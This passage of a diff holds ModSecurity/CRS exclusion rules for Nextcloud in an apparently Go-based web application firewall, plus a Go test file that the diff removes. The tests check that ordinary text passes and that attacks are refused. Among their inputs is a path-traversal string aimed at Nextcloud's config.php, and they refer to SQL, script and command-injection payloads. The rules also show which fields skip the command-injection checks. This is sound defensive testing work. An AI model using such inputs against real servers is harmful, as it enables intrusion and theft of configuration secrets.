ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
|
||||||
|
|
||||||
# The file names on a public share's page. A preview names its file in file:
|
|
||||||
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
|
||||||
"id:900104,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
|
||||||
|
|
||||||
# A download names its folder in path and its files in files:
|
|
||||||
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
|
||||||
"id:900105,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
|
||||||
|
|
||||||
# The OCS API's searches and names, in the query, a form data body or a JSON
|
|
||||||
# body:
|
|
||||||
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
|
||||||
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
|
||||||
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
|
||||||
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
|
||||||
# account python3, displayName=Ls+-la+Example
|
|
||||||
# groups[], or groups in JSON: the groups of a new account,
|
|
||||||
# groups[]=Python3+admins
|
|
||||||
# value: changing an account's name, address or headline, value=Powershell+Lane
|
|
||||||
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
|
||||||
# label "python3 link"
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
||||||
"id:900106,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
||||||
"id:900107,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
|
||||||
|
|
||||||
# A share's note, in the query, a form data body or a JSON body, on a new
|
|
||||||
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
||||||
"id:900108,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
||||||
"id:900109,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.note "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
|
||||||
|
|
||||||
# An account's status, in the query, a form data body or a JSON body:
|
|
||||||
# {"message":"Tested on Windows; powershell works"}.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
||||||
"id:900110,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
||||||
"id:900111,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
||||||
|
|
||||||
# The name and slogan in the theming admin settings, in the JSON field value:
|
|
||||||
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
|
||||||
"id:900112,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.value "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
|
||||||
|
|
||||||
# The Text editor saves a document, such as a folder's Readme.md, with its
|
|
||||||
# path in the JSON field filePath and its text in autosaveContent. The text
|
|
||||||
# skips the rules for sentences and code blocks too.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
|
||||||
"id:900113,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
|
||||||
|
|
||||||
# A comment on a file, in the JSON field message of a new comment, and in the
|
|
||||||
# XML body of an edited one. It skips the rules for sentences too. An edited
|
|
||||||
# comment's XML holds nothing else a person writes.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
|
||||||
"id:900114,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
|
||||||
"id:900115,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;XML:/*"
|
|
||||||
|
|
||||||
# The Files app's search sends its words in the XML body of a SEARCH request,
|
|
||||||
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
|
||||||
"id:900116,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq SEARCH" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
||||||
|
|
||||||
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|
||||||
"id:900117,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:json.name "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
|
||||||
|
|
||||||
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
|
||||||
# paths is a file, not form data. Read as fields, a JSON file holding
|
|
||||||
# "python3 -m pytest" was refused (932260), and an XML file holding
|
|
||||||
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
|
||||||
# RAW, a kind of body sww does not read. Its headers, path and query are
|
|
||||||
# still checked.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
||||||
"id:900118,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
|
||||||
@@ -1,549 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"html"
|
|
||||||
"maps"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
|
||||||
|
|
||||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
||||||
const nextcloudThreshold = 5
|
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
|
||||||
const nextcloudSignIn = "/login"
|
|
||||||
|
|
||||||
// nextcloudShare is a public share's page.
|
|
||||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
|
||||||
|
|
||||||
// nextcloudPreview is a public share's preview of a file.
|
|
||||||
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
|
|
||||||
|
|
||||||
// nextcloudUsers is the OCS API's list of accounts.
|
|
||||||
const nextcloudUsers = "/ocs/v2.php/cloud/users"
|
|
||||||
|
|
||||||
// nextcloudShares is the OCS API's list of shares.
|
|
||||||
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
|
|
||||||
|
|
||||||
// nextcloudStatus is where the OCS API sets an account's status.
|
|
||||||
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
|
|
||||||
|
|
||||||
// nextcloudFiles is the WebDAV folder of the account admin.
|
|
||||||
const nextcloudFiles = "/remote.php/dav/files/admin/"
|
|
||||||
|
|
||||||
// nextcloudSave is where the text editor saves a document.
|
|
||||||
const nextcloudSave = "/apps/text/session/1/save"
|
|
||||||
|
|
||||||
// The WebDAV methods the Files app's search and a comment's edit use, and
|
|
||||||
// the method the sync client lists a folder with.
|
|
||||||
const (
|
|
||||||
nextcloudSearch = "SEARCH"
|
|
||||||
nextcloudPropPatch = "PROPPATCH"
|
|
||||||
nextcloudPropFind = "PROPFIND"
|
|
||||||
)
|
|
||||||
|
|
||||||
// nextcloudOther is a JSON field no exclusion names.
|
|
||||||
const nextcloudOther = `{"other":"python3"}`
|
|
||||||
|
|
||||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
|
||||||
// and 932260, each on a path where it skips them, ending in "=".
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var nextcloudQueryFields = []string{
|
|
||||||
"/login?user=",
|
|
||||||
"/login?redirect_url=",
|
|
||||||
"/index.php/login?user=",
|
|
||||||
"/apps/files/?dir=",
|
|
||||||
"/apps/files/files/134?dir=",
|
|
||||||
"/index.php/apps/files/?dir=",
|
|
||||||
nextcloudPreview + "?file=",
|
|
||||||
nextcloudShare + "/download?path=",
|
|
||||||
nextcloudShare + "/download?path=%2F&files=",
|
|
||||||
nextcloudUsers + "?search=",
|
|
||||||
nextcloudUsers + "/details?search=",
|
|
||||||
"/ocs/v2.php/cloud/groups?search=",
|
|
||||||
"/ocs/v1.php/cloud/groups/details?search=",
|
|
||||||
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
|
|
||||||
nextcloudShares + "?path=",
|
|
||||||
"/ocs/v2.php/search/providers/files/search?term=",
|
|
||||||
"/ocs/v2.php/search/providers/files/search?term=x&from=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudFormFields are the form data fields that skip the four rules, each
|
|
||||||
// on a path where it skips them, ending in "=".
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var nextcloudFormFields = []struct{ target, field string }{
|
|
||||||
{nextcloudSignIn, "user="},
|
|
||||||
{nextcloudUsers, "userid="},
|
|
||||||
{nextcloudUsers, "displayName="},
|
|
||||||
{nextcloudUsers, "groups%5B%5D="},
|
|
||||||
{nextcloudUsers + "/admin", "value="},
|
|
||||||
{"/ocs/v2.php/cloud/groups", "groupid="},
|
|
||||||
{nextcloudShares, "path="},
|
|
||||||
{nextcloudShares, "label="},
|
|
||||||
{nextcloudShares, "shareWith="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
|
|
||||||
// path. It holds %s, where a value goes, written as the body's type needs.
|
|
||||||
type nextcloudBody struct{ method, target, contentType, body string }
|
|
||||||
|
|
||||||
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
|
|
||||||
// on a path where it skips them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var nextcloudBodies = []nextcloudBody{
|
|
||||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
|
|
||||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
|
|
||||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
|
|
||||||
{
|
|
||||||
http.MethodPut, nextcloudUsers + "/admin",
|
|
||||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
|
||||||
{
|
|
||||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
|
||||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
|
||||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
|
||||||
{
|
|
||||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
|
||||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
|
||||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
|
||||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudDocument is the text of a document the text editor saves, which
|
|
||||||
// skips the rules for code blocks too.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
||||||
var nextcloudDocument = nextcloudBody{
|
|
||||||
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudTexts are the fields that hold what a person writes, which skip
|
|
||||||
// the rules for sentences too: a document, a comment, a share's note and an
|
|
||||||
// account's status.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var nextcloudTexts = []nextcloudBody{
|
|
||||||
nextcloudDocument,
|
|
||||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
|
||||||
{
|
|
||||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
|
||||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
|
||||||
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
|
|
||||||
`</d:propertyupdate>`,
|
|
||||||
},
|
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
|
||||||
{
|
|
||||||
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
|
||||||
formData, "note=%s",
|
|
||||||
},
|
|
||||||
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
|
|
||||||
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudSentences are sentences recorded in the texts, which rules
|
|
||||||
// refused there.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var nextcloudSentences = []string{
|
|
||||||
"It is fixed; diff attached",
|
|
||||||
"Run python3 or powershell; ls -la shows .htaccess",
|
|
||||||
"We need more time; find the old notes first",
|
|
||||||
"Tested on Windows; powershell works",
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudCodeBlock is a shell script in a code block of a document, as
|
|
||||||
// recorded.
|
|
||||||
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
|
||||||
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
|
|
||||||
|
|
||||||
// nextcloudBodyScore returns the request that sends value, which is not
|
|
||||||
// escaped, in sent's body, and the score crs gives it.
|
|
||||||
func nextcloudBodyScore(
|
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
|
||||||
) (string, int) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
switch sent.contentType {
|
|
||||||
case formData:
|
|
||||||
value = url.QueryEscape(value)
|
|
||||||
case jsonBody:
|
|
||||||
quoted, err := json.Marshal(value)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
value = string(quoted[1 : len(quoted)-1])
|
|
||||||
case xmlBody:
|
|
||||||
value = html.EscapeString(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
body := strings.Replace(sent.body, "%s", value, 1)
|
|
||||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
|
||||||
|
|
||||||
return sent.method + " " + sent.target + " " + body, got.Score
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudFieldScores returns the score that the Core Rule Set, reading
|
|
||||||
// bodies, gives each request that sends value, a query value, in one of the
|
|
||||||
// fields that skip the four rules, keyed by the request.
|
|
||||||
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
scores := map[string]int{}
|
|
||||||
|
|
||||||
for _, target := range nextcloudQueryFields {
|
|
||||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, sent := range nextcloudFormFields {
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
||||||
scores["POST "+sent.target+" "+sent.field+value] = got.Score
|
|
||||||
}
|
|
||||||
|
|
||||||
written, err := url.QueryUnescape(value)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, sent := range nextcloudBodies {
|
|
||||||
request, score := nextcloudBodyScore(t, crs, sent, written)
|
|
||||||
scores[request] = score
|
|
||||||
}
|
|
||||||
|
|
||||||
return scores
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudTextScores returns the score that the Core Rule Set, reading
|
|
||||||
// bodies, gives each request that sends text, which is not escaped, in one of
|
|
||||||
// the texts, keyed by the request.
|
|
||||||
func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
scores := map[string]int{}
|
|
||||||
|
|
||||||
for _, sent := range nextcloudTexts {
|
|
||||||
request, score := nextcloudBodyScore(t, crs, sent, text)
|
|
||||||
scores[request] = score
|
|
||||||
}
|
|
||||||
|
|
||||||
return scores
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
|
||||||
// bodies, gives signing in with value, a query value, as the password.
|
|
||||||
func nextcloudPasswordScore(t *testing.T, value string) int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
||||||
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
|
||||||
|
|
||||||
return got.Score
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, value := range hardValues {
|
|
||||||
for request, score := range nextcloudFieldScores(t, value) {
|
|
||||||
if score >= nextcloudThreshold {
|
|
||||||
t.Errorf("%s refused: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
|
||||||
t.Errorf("password %s refused: %d", value, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudPasswordPasses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
|
||||||
|
|
||||||
// No rule the password keeps catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, sentence := range nextcloudSentences {
|
|
||||||
for request, score := range nextcloudTextScores(t, sentence) {
|
|
||||||
if score >= nextcloudThreshold {
|
|
||||||
t.Errorf("%s refused: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
|
||||||
if score >= nextcloudThreshold {
|
|
||||||
t.Errorf("%s refused: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection,
|
|
||||||
"..%2F..%2Fconfig%2Fconfig.php",
|
|
||||||
scriptInjection,
|
|
||||||
} {
|
|
||||||
written, err := url.QueryUnescape(attack)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
scores := nextcloudFieldScores(t, attack)
|
|
||||||
maps.Copy(scores, nextcloudTextScores(t, written))
|
|
||||||
|
|
||||||
for request, score := range scores {
|
|
||||||
if score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s let through: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// A shell command after a ";" reaches Nextcloud only in the texts.
|
|
||||||
for request, score := range nextcloudFieldScores(t, commandInjection) {
|
|
||||||
if score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s let through: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
|
||||||
t.Errorf("password %s let through: %d", commandInjection, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
cookie := func(value string) request {
|
|
||||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, value := range hardValues {
|
|
||||||
name, err := url.QueryUnescape(value)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantResult(t, crs, cookie(name), matched())
|
|
||||||
}
|
|
||||||
|
|
||||||
// A cookie cannot hold a ";", so the command follows a "|" instead.
|
|
||||||
for _, attack := range []string{
|
|
||||||
injection,
|
|
||||||
"../../config/config.php",
|
|
||||||
scriptTag,
|
|
